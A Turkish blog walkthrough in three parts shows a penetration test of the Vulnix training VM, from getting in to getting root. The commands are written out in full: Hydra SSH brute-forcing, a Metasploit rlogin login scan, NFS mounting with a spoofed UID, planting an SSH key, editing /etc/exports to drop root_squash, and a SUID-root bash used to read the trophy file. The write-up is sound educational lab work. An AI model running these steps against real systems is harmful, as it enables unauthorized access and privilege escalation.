AG Test: exploitation

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

<br /><h3><span style="color: #cc0000;">4. Yetki Yükseltme</span></h3><div class="MsoListParagraph"><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için <b><span style="font-family: Courier New, Courier, monospace;">sudo -l</span></b> komutundan faydalanılabilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s1600/2013-08-24_224114.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s640/2013-08-24_224114.png" width="640" /></a></div><div style="text-align: justify;">Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının <b>/etc/exports</b> dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının <b>root_squash</b> opsiyonuyla yapıldığı yani NFS paylaşımına uzak makinadan root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.</div><div style="text-align: justify;">Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.</div><h4>vulnix@vulnix:~$ sudoedit /etc/exports</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" /></a></div><div><div style="text-align: justify;">Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.</div></div><h4>root@agguvenligi:~# umount /mnt/nfs</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.</div><h4>root@agguvenligi:/mnt/nfs# cp /bin/bash .<br />root@agguvenligi:/mnt/nfs# chmod 4777 bash </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.</div><blockquote class="tr_bq"><div style="text-align: justify;"><span style="color: #a64d79;">Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde -bash: ./bash: cannot execute binary file şeklinde bir hata ile karşılaşılacaktır.</span></div></blockquote><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101<br />vulnix@vulnix:~$ ./bash -p<br />bash-4.2# id<br />bash-4.2# cat /root/trophy.txt </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s1600/2013-08-24_230832.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="547" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s640/2013-08-24_230832.png" width="640" /></a></div></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

4. Yetki Yükseltme Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya d...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

<br /><h3><span style="color: #cc0000;">3. Sızma Denemesi</span></h3><h3>a. SSH</h3><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük <b><i>/pentest/passwords/wordlists</i></b> dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.<br /><br /></div><div style="text-align: justify;"><b>Hydra </b>aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.</div><h4>root@agguvenligi:~# cd /pentest/passwords/wordlists/<br />root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh</h4>Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><h3>b. RLOGIN</h3><div style="text-align: justify;">Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri ile sisteme erişildiğinde <b>user </b>kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.</div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s1600/2013-08-24_210801.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s400/2013-08-24_210801.png" width="400" /></a></div>Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan <b><i>auxiliary/scanner/rservices/rlogin_login</i></b> modülü de kullanılabilir. Kullanımı şu şekildedir:</div><div style="text-align: justify;"><h4 style="text-align: start;">msf > use auxiliary/scanner/rservices/rlogin_login<br />msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101<br />msf auxiliary(rlogin_login) > run</h4>Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s1600/2013-08-24_211252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s320/2013-08-24_211252.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s1600/2013-08-24_211448.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s320/2013-08-24_211448.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s1600/2013-08-24_211520.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s320/2013-08-24_211520.png" width="320" /></a></div></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><h3>c. NFS</h3><div class="MsoListParagraph" style="text-align: justify;">Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.<o:p></o:p></div><h4>root@agguvenligi:~# showmount -e 192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" /></a></div>Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.</div><h4>root@agguvenligi:~# mkdir /mnt/nfs<br />root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs</h4><div class="MsoListParagraph" style="text-align: justify;">Sonraki adımda bu dizine erişilmek istenildiğinde <b><i>"Permission Denied"</i></b> hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" /></a></div>Bu hatayı aşmak için görülen UID değerinde <b>(2008)</b> BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.</div><h4>root@agguvenligi:~# useradd agguvenligi -u 2008<br />root@agguvenligi:~# su - agguvenligi</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" /></a></div>Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" /></a></div>Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında <b>.ssh</b> dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.</div><div class="MsoListParagraph" style="text-align: justify;">Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" /></a></div>Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır.</div><h4>agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s1600/2013-08-24_223326.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s640/2013-08-24_223326.png" width="640" /></a></div>Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.</div><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" /></a></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

3. Sızma Denemesi a. SSH İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldır...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s320/vulnix.png" width="320" /></a></div><div style="text-align: justify;">Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.</div><div style="text-align: justify;">Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.</div><div style="text-align: justify;">Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.</div><div style="text-align: justify;">Burada üzerinde çalışılacak <b>Vulnix </b>dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj <a href="http://www.rebootuser.com/wp-content/uploads/vulnix/Vulnix.7z" target="_blank">bağlantıdan </a>temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç <b><i>/root</i></b> dizini altında bulunan trophy dosyasının içeriğine erişmektedir.</div><blockquote class="tr_bq"><span style="color: #a64d79;">Mimari: x86<br />Biçim: VMware (vmx & vmdk)<br />RAM: 512MB<br />Network: NAT<br />Boyutu: 194MB – 7zip<br />Çıkarılmış hali: 820MB</span></blockquote><div style="text-align: justify;">Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına <a href="http://www.backtrack-linux.org/downloads/" target="_blank">bağlantıdan </a>erişebilirsiniz.</div><div style="text-align: justify;">Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde <b><i>File>Open</i></b> sonrası çıkan menüde <b>Vulnix.vmx</b> dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" 